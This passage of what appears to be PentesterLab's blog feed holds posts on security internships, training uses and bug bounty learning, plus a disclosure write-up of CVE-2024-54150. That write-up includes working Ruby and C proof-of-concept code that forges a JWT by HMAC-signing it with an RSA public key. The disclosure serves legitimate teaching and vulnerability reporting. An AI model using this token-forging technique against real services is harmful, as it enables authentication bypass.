        <![CDATA[        <p>Security internships are a fantastic way to learn, gain experience, and establish a foothold in the cybersecurity industry. However, they come with a variety of expectations and realities that may differ from what you imagine. Here’s a detailed look at what to expect, with a focus on the practical aspects of security internships.</p>

        <h5 class="fw-bold my-3">Compensation: Will You Get Paid?</h5>
        <p>Whether or not you get paid for a security internship depends on several factors, including:</p>
        <ul>
            <li><strong>Laws in Your Country:</strong> Many countries have strict regulations against unpaid internships due to their history of being overused and exploitative.</li>
            <li><strong>Company Policy:</strong> Some organizations value interns and offer competitive pay, while others may provide unpaid opportunities with the promise of experience.</li>
        </ul>
        <p>Before accepting an unpaid internship, ensure it aligns with your financial situation and career goals. Also, verify that the internship complies with local labor laws. The more valuable the work you are going to perform, the more likely you should get paid.</p>
        <p>Once you've established the terms of your internship, the next step is understanding the kind of work you may be assigned.</p>

        <h5 class="fw-bold my-3">Working on Real Engagements: Rare, Especially Early On</h5>
        <p>You’re likely <em>not</em> going to be working on live client engagements at the start of your internship. Here’s why:</p>
        <ul>
            <li><strong>Client Confidentiality:</strong> Companies are hesitant to let interns handle sensitive client data or systems, especially without prior experience.</li>
            <li><strong>Risk of Errors:</strong> Testing applications or interacting with production systems involves a potential risk of causing disruptions. Companies typically prefer to assign these tasks to experienced staff to minimize the risk.</li>
            <li><strong>Trust and Training:</strong> It takes time for a company to assess your skills and build confidence in your work.</li>
        </ul>
        <p>Instead, you may:</p>
        <ul>
            <li><strong>Shadow Senior Staff:</strong> If you're lucky, you might observe engagements to learn how professionals handle real-world scenarios.</li>
            <li><strong>Review Reports:</strong> If you're extremely lucky, you might get to review reports. These can provide valuable insights into how findings are documented and communicated, though access may be limited due to confidentiality.</li>
            <li><strong>Work on Internal Projects:</strong> Many interns are tasked with projects that benefit the company indirectly, such as:
                <ul>
                    <li>Researching new tools or techniques.</li>
                    <li>Automating repetitive tasks.</li>
                    <li>Developing internal methodologies or processes.</li>
                    <li>Testing security setups in non-production environments.</li>
                </ul>
            </li>
        </ul>
        <p>If you do work on real clients, make sure you're <strong>not alone on an engagement</strong>. Being left unsupported in such scenarios can lead to mistakes and unnecessary stress—a situation no company should impose on an intern. Your primary role is to learn and contribute meaningfully, not to serve as cheap or unpaid labor.</p>

        <h5 class="fw-bold my-3">Internships Are Often a Test</h5>
        <p>An internship isn’t just an opportunity for you to evaluate a potential career path—it’s also a test for the company to assess whether they want to hire you in the future. Companies will observe:</p>
        <ul>
            <li>Your ability to learn and adapt.</li>
            <li>How well you collaborate with others.</li>
            <li>Your reliability and problem-solving skills.</li>
        </ul>
        <p>The projects you’re assigned often reflect this dual purpose: to provide value to the company while testing your capabilities.</p>

        <h5 class="fw-bold my-3">The Nature of Your Work</h5>
        <p>Interns in cybersecurity often work on tasks such as:</p>
        <ul>
            <li><strong>Research:</strong> Investigating specific vulnerabilities, frameworks, or attack techniques.</li>
            <li><strong>Automation:</strong> Writing scripts to streamline repetitive processes, like log analysis or vulnerability scanning.</li>
            <li><strong>Methodology Development:</strong> Creating guides or templates for security processes based on existing knowledge.</li>
            <li><strong>Training Materials:</strong> Assisting in the creation of resources to educate teams or clients about cybersecurity.</li>
        </ul>
        <p>These tasks may not always be glamorous, but they are vital for building your foundational skills and understanding of the field.</p>

        <h5 class="fw-bold my-3">My Internship</h5>
        <p>For me, I was lucky to score an internship at <strong>Hervé Schauer Consultants</strong> in Paris. During the interview, the team noticed my passion for Linux and web security. They decided to challenge me by assigning me a project in a completely different domain: <strong>Windows Kernel Programming</strong>.</p>
        <p>I worked on building a simple syscall proxy for Windows, which was an entirely new area for me at the time. This project helped me fill a significant gap in my knowledge and expanded my understanding of operating systems beyond my comfort zone. It was a pivotal moment in my learning journey and an excellent example of how internships can stretch your capabilities in unexpected ways.</p>

        <h5 class="fw-bold my-3">Key Takeaways</h5>
        <p>Here’s what you can expect from your internship, realistically:</p>
        <ul>
            <li>You may or may not get paid, depending on location and company policy.</li>
            <li>Early on, you’re unlikely to work directly on sensitive client engagements.</li>
            <li>Your projects will likely focus on benefiting the company indirectly, such as research, automation, or process development.</li>
            <li>It’s a trial period for both you and the company—an opportunity to learn, grow, and demonstrate your potential.</li>
        </ul>

        <h5 class="fw-bold my-3">Making the Most of Your Internship</h5>
        <p>Follow these tips to maximize your experience:</p>
        <ul>
            <li><strong>Be Proactive:</strong> Take initiative on projects and ask for more responsibility as you grow confident.</li>
            <li><strong>Ask Questions:</strong> Don’t hesitate to seek guidance; internships are for learning. Google first (if the question is non-confidential), then ask for help. For sensitive or client-related questions, consult your mentor directly.</li>
            <li><strong>Document Your Work:</strong> Keep a record of what you’ve done—it’s invaluable for future resumes or interviews.</li>
            <li><strong>Network:</strong> Build connections with colleagues and mentors. These relationships can open doors to future opportunities.</li>
        </ul>
        <p>A security internship might not always match the idealized vision of hacking into systems and finding vulnerabilities in live environments, but it is an essential stepping stone toward building a successful career. Approach it with curiosity, adaptability, and a willingness to learn, and you’ll emerge stronger for the experience.</p>
]]>
      </description>
      <pubDate>Wed, 01 Jan 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/what-to-expect-security-internship</link>
      <guid>https://pentesterlab.com/blog/what-to-expect-security-internship</guid>
    </item>
    <item>
      <title>How People Use PentesterLab: Beyond the Usual Training</title>
      <description>
        <![CDATA[<div>
  <p class="mb-0">PentesterLab is widely recognized as a top-tier training platform for application security (AppSec) professionals, penetration testers, and code reviewers. However, our platform's flexibility and depth have inspired creative uses far beyond the typical. Here are some surprising ways organizations and individuals leverage PentesterLab to address unique challenges and foster growth.</p>
</div>
<h4 class="my-3 fw-bold">Vouchers for Security Champions</h4>
<p>Companies often reward security champions—developers who go above and beyond to prioritize security in their work with PentesterLab vouchers. These vouchers not only acknowledge their efforts but also empower them with practical skills to better advocate for security within their teams.</p>

<h4 class="fw-bold my-3">Support for Failed Interviews</h4>
<p>Some organizations provide PentesterLab vouchers to candidates who fail interviews for application security, code review or pentester roles. This approach helps candidates identify gaps in their knowledge and develop the skills needed to succeed in future interviews. It’s an investment in potential talent, demonstrating a willingness to nurture growth.</p> 

<h4 class="fw-bold my-3">Probation Period Challenges</h4>
<p>Employers integrate PentesterLab into probationary periods, challenging new hires to complete specific badges within a set timeframe. This not only evaluates their technical abilities but also fosters hands-on learning, ensuring a stronger start in their role. It also has the advantage to keep new employees busy during onboarding.</p>

<h4 class="fw-bold my-3">Developer Training: Thinking Like a Hacker</h4>
<p>PentesterLab helps developers think like hackers, giving them insights into how attackers exploit vulnerabilities. This training isn’t about turning developers into pentesters but equipping them to write secure code and identify potential flaws during the development process.</p>

<h4 class="fw-bold my-3">Incident Response (IR) Team Training</h4>
<p>IR teams use PentesterLab to deepen their understanding of real-world attacks. By working through labs, they gain firsthand knowledge of what attackers do, including pivoting techniques and post-exploitation activities. This enhances their ability to detect and respond to sophisticated threats.</p>

<h4 class="fw-bold my-3">Discovering Future Security Team Members</h4>
<p>Some organizations use PentesterLab as a scouting tool to identify developers who might have the aptitude and passion to join their AppSec or security teams. Watching how individuals tackle labs provides valuable insight into their problem-solving skills and genuine interest in security. As one user put it: "<i>It's one thing to love the idea of being a hacker; it’s another to truly love being one.</i>".</p>


<h5 class="fw-bold self-align-start mt-5">Conclusion</h5>
<p>PentesterLab’s versatility makes it more than a training platform—it’s a tool for fostering talent, building teams, and nurturing a culture of security. Whether you're looking to motivate employees, train developers, or scout future security experts, PentesterLab provides the resources to make it happen.</p>

<p>Explore new ways to use PentesterLab within your organization and discover how it can help you meet your security and training goals.</p>



 
]]>
      </description>
      <pubDate>Wed, 25 Dec 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/creative-ways-to-use-pentesterlab</link>
      <guid>https://pentesterlab.com/blog/creative-ways-to-use-pentesterlab</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 51/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


<div class="mb-0">
  <p>It's starting to look a lot like Christ^WHackMas</p>
</div>
<div class="mb-5">


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔐</span> Another JWT Algorithm Confusion Vulnerability: CVE-2024-54150</h5>
<p>Why shouldn't I share my own content? Here's a shameless plug for my article on <a href="https://pentesterlab.com/blog/another-jwt-algorithm-confusion-cve-2024-54150" target="_blank">the JWT Algorithm Confusion Vulnerability I found in a C library</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🐘</span> How an Obscure PHP Footgun Led to RCE in Craft CMS</h5>
<p>Check out this excellent write-up by the Assenote team on <a href="https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms" target="_blank">how an obscure PHP footgun led to RCE in Craft CMS</a>.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">📚</span> AppSec eZine #566</h5>
<p>The latest edition of AppSec eZine is here! Read <a href="https://pathonproject.com/zb/?ebab2d29dc057c14#KzaHHE2VFl1sDEusOJ/BlNSJ9869QF+wThc4LIPMVpw=" target="_blank">issue #566</a>.</p>
</div>



<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Mon, 23 Dec 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week51-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week51-2024</guid>
    </item>
    <item>
      <title>Leveraging PentesterLab for Application Security Engineers</title>
      <description>
        <![CDATA[
<p>PentesterLab is a comprehensive platform designed for application security engineers focused on identifying weaknesses, vulnerabilities, and areas for improvement in real-world codebases. By working through the labs, you’ll develop the skills and confidence needed to excel in your role.</p>

<h5 class="fw-bold my-3">Learning to Read Code Early: The Essential Badge</h5>

<p>For instance, early in your learning journey, the <a href="/badges/essential" target="_blank">Essential Badge</a> includes detailed code review videos for most labs. These videos offer valuable insights into identifying vulnerable patterns, understanding real-world issues, and thinking critically as a security reviewer. This ensures you gain perspective on both sides of the puzzle: black-box and white-box testing. Learning code review is not an afterthought, it is part of the journey.</p>

<h5 class="fw-bold my-3">The Challenge and Reward of Code Review</h5>

<p><a href="/badges/codereview" target="_blank">Code review</a> on PentesterLab is challenging but immensely rewarding. The progression from snippets to patches to full codebases builds resilience and expertise over time. These labs go beyond simply finding vulnerabilities; they focus on uncovering weaknesses and proposing improvements—a realistic approach that mirrors the responsibilities of application security engineers. It’s not about only locating exploitable vulnerabilities, the next vulnerability in your chain, or creating serialization gadgets; it’s about identifying security issues commonly found in real-world codebases. The full codebases you will audit in the badge are actually based on real projects from GitHub I reviewed to find vulnerabilities.</p> 

<h5 class="fw-bold my-3">Building Tools and Hands-On Learning</h5>

<p>PentesterLab provides a deep hands-on learning experience. You’ll create your own tools and exploits, such as generating JWT tokens from scratch using OpenSSL, JSON, and Base64. Rather than relying on libraries or pre-built hacking tools, you’ll learn to write your own tools. This will allow you to audit protocols and formats for which a library or a hacking tool may not be available. The goal isn’t to teach you how to run <code>./pwn</code> but to empower you to write the next <code>pwn</code>.</p>

<h5 class="fw-bold my-3">Mastering Cryptographic Vulnerabilities</h5>

<p>For cryptography enthusiasts, and also because it is a key aspect of an application security engineer’s role, you’ll explore vulnerabilities in application leveraging ECB, CBC, CBC-MAC, and GCM for encryption. This helps you develop a strong foundation for analyzing cryptographic protocols. This hands-on approach ensures you’re well-prepared for complex security challenges.</p>

<h5 class="fw-bold my-3">Accessible for All Learners</h5>

<p>Whether you’re a subscriber or exploring the free labs, PentesterLab has something for everyone. PRO subscribers should aim to complete <a href="/my/progress" target="_blank">all the badges</a>, as even the introductory ones contain valuable tricks and techniques. Free users can make significant progress with our <a href="/my/progress#offlinefree" target="_blank">free ISOs</a>, <a href="/my/progress#onlinefree" target="_blank">free labs of the month</a> (rotated every month), and our free <a href="/badges/recon" target="_blank">Recon badge</a>.</p>

<h5 class="fw-bold my-3">More Than a Platform: A Resource for Growth</h5>

<p>PentesterLab is more than just a platform; it’s a resource to help application security engineers build a robust foundation in secure coding and code review. It enables you to identify and remediate weaknesses in real-world applications while gaining practical, hands-on experience. </p>

<p><strong>PentesterLab is the platform I wish I had when I learned to be an application security engineer and when I trained security engineers. </strong></p>


<p>Start your journey today and elevate your application security skills with PentesterLab!</p>


]]>
      </description>
      <pubDate>Mon, 23 Dec 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/leveraging-pentesterlab-application-security-engineers</link>
      <guid>https://pentesterlab.com/blog/leveraging-pentesterlab-application-security-engineers</guid>
    </item>
    <item>
      <title>Another JWT Algorithm Confusion Vulnerability: CVE-2024-54150</title>
      <description>
        <![CDATA[<p>Recently, I was in Brisbane to give a talk on JWT algorithm confusion vulnerabilities. During a conversation with my friend Luke (whose blog you should definitely check out, especially if you are into <a target="_blank" href="https://nastystereo.com/">Ruby Security</a>, I mentioned how fortunate I felt to have found a real-world example of such a vulnerability for my presentation. I assumed that finding another instance would be highly unlikely, especially after reviewing a fair number of libraries written in weakly-typed languages without success.</p>



<img alt="joke: Assumption club meeting, we all know why we are here..." src="/newdesign/imgs/blog-imgs/assumptions.jpg" width="80%" style="display: block;  margin-left: auto;  margin-right: auto;"/>

<p>However, once again, I was proven wrong. Shifting my focus to libraries written in C, I stumbled upon an interesting one: <a href="https://github.com/xmidt-org/cjwt" target="_blank">xmidt-org/cjwt</a>. Upon a quick code review, I noticed some red flags. Sure enough, the library contained a critical algorithm confusion vulnerability.</p>

<h5 class="fw-bold my-3"> What Is Algorithm Confusion?</h5>

<p>Algorithm confusion occurs when a system fails to properly verify the type of signature used in a JWT, allowing an attacker to exploit insufficient distinction between different signing methods. For instance, if a server expects an asymmetric algorithm like RS256 but doesn’t enforce proper checks, an attacker could craft a malicious token using an HMAC signature (HS256) and trick the server into validating it with the public key as the HMAC secret.</p>

<p>This vulnerability arises when systems conflate the verification process for HMAC and asymmetric keys, potentially leading to unauthorized access. This risk is further amplified by the possibility of deriving RSA or EC public keys from a few captured signatures.</p>

<h5 class="fw-bold my-3">The 🚩🚩🚩🚩</h5>

<p>I recommend reading my previous article: <a href="https://pentesterlab.com/blog/jwt-algorithm-confusion-code-review-lessons" target="_blank">How JWT Libraries Block Algorithm Confusion: Key Lessons for Code Review</a>, It covers the checks libraries can implement to prevent algorithm confusion and will make the following analysis much easier.</p>

<p>The first 🚩🚩 can be found in the example code in code example for RSA  in<code>examples/basic/rs_example.c</code>:</p>
 <pre><code>  const char *rs_pub_key =
      "-----BEGIN PUBLIC KEY-----\n"
      "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnzyis1ZjfNB0bBgKFMSv\n"
      "vkTtwlvBsaJq7S5wA+kzeVOVpVWwkWdVha4s38XM/pa/yr47av7+z3VTmvDRyAHc\n"
      "aT92whREFpLv9cj5lTeJSibyr/Mrm/YtjCZVWgaOYIhwrXwKLqPr/11inWsAkfIy\n"
      "tvHWTxZYEcXLgAXFuUuaS3uF9gEiNQwzGTU1v0FqkqTBr4B8nW3HCN47XUu0t8Y0\n"
      "e+lf4s4OxQawWD79J9/5d3Ry0vbV3Am1FtGJiJvOwRsIfVChDpYStTcHTCMqtvWb\n"
      "V6L11BWkpzGXSW4Hv43qa+GSYOD2QU68Mb59oSk2OB+BtOLpJofmbGEGgvmwyCI9\n"
      "MwIDAQAB\n"
      "-----END PUBLIC KEY-----";

  rv = cjwt_decode(rs_text, strlen(rs_text), 0,
        (uint8_t *) rs_pub_key, strlen(rs_pub_key), 0, 0, &jwt);</code></pre>

<p>We can see that the key is provided as a <code>char *</code> and that the function <code>cjwt_decode</code> does not require developers to pick an algorithm.</p>

<p>If we compare this code to the example for HMAC in <code>examples/basic/hs_example.c</code>, we can see that the code is identical (aside from the variable’s name).:</p>

<pre><code>  const char *hs_key = "hs256-secret";

  rv = cjwt_decode(hs_text, strlen(hs_text), 0, 
        (uint8_t *) hs_key, strlen(hs_key), 0, 0, &jwt);</code></pre>

<p>🚩🚩</p>

<p>Now, if we jump to the code of the function <code>cjwt_decode()</code> in <code>src/cjwt.c</code>, we can see that the code ends up calling <code>process_header_json()</code> to retrieve the value of <code>alg</code> from the JWT’s header:</p>
 <pre><code>  alg = cJSON_GetObjectItemCaseSensitive(json, "alg");

  //[...]

  if (0 != alg_to_enum(alg->valuestring, &cjwt->header.alg)) {
    return CJWTE_HEADER_UNSUPPORTED_ALG;
  }       
</code></pre>

<p>This is another 🚩.</p>
 <p>We can then see that the code used to verify the signature relies on the header we just populated:</p>
  <pre><code>cjwt_code_t jws_verify_signature(const cjwt_t *jwt, const struct sig_input *in)
{   
  switch (jwt->header.alg) {
    case alg_es256:
      return verify_most(EVP_sha256(), in, EVP_PKEY_EC, 0);

    // […]

    case alg_hs256:
      return verify_hmac(EVP_sha256(), in);
</pre></code>

<p>After a quick check to ensure that <code>verify_hmac()</code> does not have any magic code to try to detect a public key passed as secret. It’s time to write a quick POC.</p>


<h5 class="fw-bold my-3">The  POC</h5>

<p>The following Ruby code demonstrates how to generate a malicious token using HMAC and a public key:</p>

<pre><code>require 'openssl'
require 'base64'

secret_key = "-----BEGIN PUBLIC KEY-----...-----END PUBLIC KEY-----"

message = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Cg.eyJzdWIiOiIxMjM0NTY3ODkwIiwibGlicmFyeSI6Imh0dHBzOi8vZ2l0aHViLmNvbS94bWlkdC1vcmcvY2p3dCIsImlhdCI6MTUxNjIzOTAyMn0"

hmac = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), 
                            secret_key, message)

signature_base64 = Base64.urlsafe_encode64(hmac, padding: false)

puts "Signature (Base64): #{signature_base64}"
puts message+'.'+signature_base64 </code></pre>

<p>That code prints a malicious token signed using HMAC with the public key from <code>examples/basic/rs_example.c</code>. We can now use this malicious token in <code>examples/basic/rs_example.c</code> to make sure the attack works:</p>
 <pre><code>#include <stddef.h>
#include <stdint.h>
#include <string.h>

#include "cjwt.h"
int main(void)
{
  cjwt_t *jwt = NULL;
  cjwt_code_t rv;

  /* the ps variant is very similar */
  const char *rs_text =
      /* header */
      "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Cg."
      /* payload */
      "eyJzdWIiOiIxMjM0NTY3ODkwIiwibGlicmFyeSI6Imh0dHBzOi8vZ2l"
      "0aHViLmNvbS94bWlkdC1vcmcvY2p3dCIsImlhdCI6MTUxNjIzOTAyMn0."
      /* [OUR MALICIOUS] signature */
      "dCJQACrMVrIMf2Jc6s2S_ABf46Csdqmqv-ZNMrTQhPM";
  const char *rs_pub_key =
      "-----BEGIN PUBLIC KEY-----\n"
      "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnzyis1ZjfNB0bBgKFMSv\n"
      "vkTtwlvBsaJq7S5wA+kzeVOVpVWwkWdVha4s38XM/pa/yr47av7+z3VTmvDRyAHc\n"
      "aT92whREFpLv9cj5lTeJSibyr/Mrm/YtjCZVWgaOYIhwrXwKLqPr/11inWsAkfIy\n"
      "tvHWTxZYEcXLgAXFuUuaS3uF9gEiNQwzGTU1v0FqkqTBr4B8nW3HCN47XUu0t8Y0\n"
      "e+lf4s4OxQawWD79J9/5d3Ry0vbV3Am1FtGJiJvOwRsIfVChDpYStTcHTCMqtvWb\n"
      "V6L11BWkpzGXSW4Hv43qa+GSYOD2QU68Mb59oSk2OB+BtOLpJofmbGEGgvmwyCI9\n"
      "MwIDAQAB\n"
      "-----END PUBLIC KEY-----";

  rv = cjwt_decode(rs_text, strlen(rs_text), 0,
                   (uint8_t *) rs_pub_key, strlen(rs_pub_key), 0, 0, &jwt);

  if (CJWTE_OK != rv) {
      printf("There was an error processing the text: %d\n", rv);
      return -1;
  }

  cjwt_print(stdout, jwt);

  cjwt_destroy(jwt);

  return 0;
}</pre></code>

<p><b>It works!</b> A final check to make sure I didn’t miss anything and now it is time to report it! You can find the report here: <a href="https://github.com/xmidt-org/cjwt/security/advisories/GHSA-9h24-7qp5-gp82" target="_blank">GHSA-9h24-7qp5-gp82/CVE-2024-54150</a>.</p>

<h5 class="fw-bold my-3">Final Thoughts</h5>

<p>This is a critical point I emphasize in my <a href="/live-training/" target="_blank">Web Security Code Review Training</a>: always challenge assumptions—whether they come from developers or from yourself!</p>

<p>I hope this article inspires you to approach your code reviews with curiosity, critical thinking, and a willingness to question assumptions. This mindset is key to uncovering overlooked vulnerabilities.</p>

]]>
      </description>
      <pubDate>Fri, 20 Dec 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/another-jwt-algorithm-confusion-cve-2024-54150</link>
      <guid>https://pentesterlab.com/blog/another-jwt-algorithm-confusion-cve-2024-54150</guid>
    </item>
    <item>
      <title>New Year, New Hacker Me</title>
      <description>
        <![CDATA[
<p>As we gear up for the new year, many of us reflect on how we can improve and grow. For those on a hacker journey—whether you're a beginner or sharpening advanced skills—this is the perfect time to commit to becoming better. Here are some practical, empowering tips to help you set meaningful resolutions and stick to them:</p>

<h5 class="fw-bold my-3">1. Never Fail Twice</h5>
<p>Failure is part of learning. It’s okay to miss a strike or stumble. What matters is keeping the momentum. Don’t let one bad day turn into a bad week. When you fall, get back up—every single time.</p>

<h5 class="fw-bold my-3">2. Be Kind to Yourself</h5>
<p>Hacking is hard. Learning to hack is even harder. It takes time, persistence, and patience. If a challenge feels insurmountable, take a break—go for a walk or step away for a bit. If you're tackling one of our challenges and get stuck, consider looking at a spoiler or watching a video for guidance. If you need the video, that's okay! Revisit the material in a week or two with a fresh perspective. Don’t beat yourself up over needing extra time. Remember: if you’re not failing, you’re not learning.</p>

<h5 class="fw-bold my-3">3. Take Baby Steps</h5>
<p>Progress isn’t always flashy. It’s about incremental improvements—one small step at a time. Look at your learning curve as something that compounds over time: 1% better every day for a year makes you 37 times better at the end of the year (1.01**365). Celebrate each victory, no matter how small it seems. Over time, those baby steps will lead to big leaps.</p>

<h5 class="fw-bold my-3">4. Be Laser-Focused</h5>
<p>Choose one goal and stick to it. It’s tempting to flip-flop between aspirations, but true growth comes from sustained effort. Whether it’s mastering a specific lab, understanding a framework, or contributing to open-source, commit and follow through.</p>

<h5 class="fw-bold my-3">5. Start When You’re Ready</h5>
<p>January 1st might seem like the perfect time to start, but let’s face it—it’s also a time when many of us are exhausted from the holidays, maybe you just partied last night... Not the best day to start something. Give yourself permission to start a bit later, when life has settled and you’re in a better headspace. There’s no rule saying your resolution must begin on the first day of the year.</p>

<h5 class="fw-bold my-3">6. Make It Personal</h5>
<p>New Year’s resolutions are deeply personal. Think about what will truly help you grow as a hacker, not what others expect. Maybe it’s diving into web hacking because you’re a web developer, or exploring social engineering because of your background in sales. Tailor your goals to your unique journey.</p>

<h5 class="fw-bold my-3">7. Embrace Mistakes</h5>
<p>Mistakes and wasted time are not failures—they’re essential parts of the learning process. Every misstep teaches you something valuable. If you went in the wrong direction, you know now that this direction was wrong, and you won’t go in that direction anymore. That’s part of learning. Don’t shy away from making mistakes; embrace them as stepping stones to mastery.</p>

<h5 class="fw-bold my-3">Share Your Journey</h5>
<p>Finally, I’d love to hear from you: what’s your New Year’s resolution? Sharing your goals not only keeps you accountable but also inspires others to set and achieve their own. Let’s make 2024 the year you outdo yourself, tackle new challenges, and redefine what’s possible in your hacker journey!</p>

]]>
      </description>
      <pubDate>Thu, 19 Dec 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/level-up-your-hacker-journey-in-2025</link>
      <guid>https://pentesterlab.com/blog/level-up-your-hacker-journey-in-2025</guid>
    </item>
    <item>
      <title>PentesterLab Roadmap: Learn Bug Bounty Step-by-Step</title>
      <description>
        <![CDATA[<p>Bug bounty hunting has become an exciting way to develop security skills, earn some extra income, and contribute to securing applications around the world. Whether you're just starting out or looking to level up your bug bounty game, PentesterLab can provide the structured learning you need to succeed. Here's a clear roadmap tailored for both free and paid users of PentesterLab.</p>

<hr>

<h5 class="fw-bold my-3">Step 1: Start with the Basics</h5>
<h5 class="fw-bold my-3">For Free Users: Bootcamp + Recon Badge</h5>
<p>If you’re just beginning your bug bounty journey and using only PentesterLab's <strong>free content</strong>, start with the <a href="/bootcamp" target="_blank"><strong>Bootcamp</strong></a>. This will introduce you to the foundational skills you need to understand web vulnerabilities and penetration testing basics.</p>

<p>Once you've completed the Bootcamp, focus on the <a href="/badges/recon" target="_blank"><strong>Recon Badge</strong></a> (free). Reconnaissance is an essential skill for bug bounty hunters, as it helps you identify potential attack surfaces before others.</p>

<p>Each month, we make a few labs available for free, referred to as the <a href="/my/progress#onlinefree" target="_blank">Free Labs of the Month</a>. Be sure to complete them each month!</p>

<p>Finally, you can use our free ISO labs to learn a lot of new techniques and attacks, you can find them in the <a  target="_blank" href="/my/progress#offlinefree">Free Offline Labs</a> section of the site. You will only need virtualization software to boot the ISO.</p>

<ul>
    <li><strong>Free Path Summary</strong>:</li>
    <ul>
        <li>Complete <strong>Bootcamp</strong></li>
        <li>Earn the <strong>Recon Badge</strong></li>
        <li>Work on the <strong>Free Labs of the Month</strong> (updated regularly)</li>
        <li>Work on the <strong>Free Offline ISOs</strong> (updated regularly)</li>
    </ul>
</ul>

<p>These free resources are more than enough to get your hands dirty and start identifying your first few bugs in real-world applications.</p>

<hr>

<h5 class="fw-bold my-3">Step 2: Level Up with a Paid Subscription</h5>
<p>If you have access to a <a href="/pro" target="_blank"><strong>PentesterLab paid subscription</strong></a>, your learning path expands significantly. You also get access to video walkthroughs that will help you learn the right way to do things.</p>

<h5 class="fw-bold my-3">Goal: Achieve the White Badge</h5>
<p>Achieving <a href="/badges/whitebadge" target="_blank"><strong>White Badge</strong></a> is a milestone that demonstrates you’ve gained solid practical skills in web application security. Here’s how to proceed:</p>

<ol>
    <li>Complete the Bootcamp and Recon Badge, just like free users.</li>
    <li><a href="/my/progress" target="_blank">Progress through PentesterLab’s exercises</a> to achieve the <a href="/badges/whitebadge" target="_blank"><strong>White Badge</strong></a>.</li>
</ol>
<p><strong>Why the White Badge?</strong> It ensures you’ve covered the major web vulnerabilities (in the previous badges, especially the <a href="/badges/essential" target="_blank">Essential Badge</a>), have proper foundations in <a href="/badges/unix" target="_blank">Unix</a> and Network Security (<a href="/badges/pcap" target="_blank">PCAP Badge</a> and <a href="/badges/http" target="_blank">HTTP Badge</a>), and have hands-on experience, making you ready to identify and report bugs effectively.</p>

<hr>

<h5 class="fw-bold my-3">Step 3: Start Testing and Balancing Learning</h5>
<p>Once you’ve achieved the <strong>Recon Badge</strong> and are on your way to the <strong>White Badge</strong>, it’s time to start testing in bug bounty programs. But don’t drop learning completely! A good balance between <strong>learning</strong> and <strong>testing</strong> will accelerate your success.</p>

<h5 class="fw-bold my-3">Here’s a suggested approach for managing your time:</h5>

<ul>
    <li><strong>Start with a 50/50 Split</strong>:
        <ul>
            <li>Spend 50% of your time learning new skills on PentesterLab and 50% testing on real bug bounty platforms.</li>
            <li>Example: If you dedicate 10 hours a week to bug bounty, spend 5 hours learning and 5 hours testing.</li>
        </ul>
    </li>
    <li><strong>Gradually Shift Focus to Bug Bounty</strong>:
        <ul>
            <li>As you gain confidence and start identifying bugs, increase the time spent on testing.</li>
            <li>Move from <strong>50/50</strong> to <strong>70/30</strong>, and eventually aim for <strong>90/10</strong> (90% bug bounty testing, 10% learning).</li>
        </ul>
    </li>
    <li><strong>Why Keep Learning?</strong>
        <ul>
            <li>Bug bounty programs are competitive, and you’ll often need to think outside the box. Continuing to learn on PentesterLab ensures you stay ahead and refine your skills.</li>
            <li>Use learning time to dive into new vulnerability classes, improve recon skills, or explore advanced topics.</li>
        </ul>
    </li>
</ul>

<hr>

<h5 class="fw-bold my-3">Step 4: Build Your Momentum</h5>
<p>As you follow this plan, you'll notice a natural progression:</p>

<ol>
    <li><strong>Learn -> Test -> Fail -> Learn Again</strong>: Every time you miss a bug or fail to find anything, go back to PentesterLab and strengthen your skills.</li>
    <li><strong>Celebrate Small Wins</strong>: Landing your first bug, even a low-severity one, is a major milestone. Use this success to motivate yourself.</li>
    <li><strong>Stay Consistent</strong>: The key to bug bounty success is consistency. Dedicate a set number of hours per week, even if it’s small.</li>
</ol>

<hr>

<h5 class="fw-bold my-3">Summary: A Roadmap to Success</h5>

<h5 class="fw-bold my-3">Free Path:</h5>
<ul>
    <li>Bootcamp</li>
    <li>Recon Badge</li>
    <li>Free Labs of the Month</li>
    <li>Free ISOS</li>
    <li>Start bug bounty hunting with foundational skills.</li>
</ul>

<h5 class="fw-bold my-3">Paid Path:</h5>
<ul>
    <li>Complete labs to achieve the <strong>White Badge</strong>.</li>
    <li>Recon Badge</li>
    <li>Split time between <strong>learning</strong> (PentesterLab) and <strong>testing</strong>:
        <ul>
            <li>Start with <strong>50/50</strong></li>
            <li>Gradually move to <strong>90/10</strong> as you improve.</li>
        </ul>
    </li>
</ul>

<p>By leveraging PentesterLab's structured content, you'll develop the confidence and skills necessary to find vulnerabilities and succeed in bug bounty programs. Whether you’re starting for free or investing in a paid subscription, consistency, learning, and persistence are your keys to success.</p>

<hr>

<p><strong>Ready to start your journey? Sign Up for <a href="/users/register" target="_blank">PentesterLab</a> and start building your skills today!</strong></p>
]]>
      </description>
      <pubDate>Wed, 18 Dec 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/leverage-pentesterlab-for-bug-bounty</link>
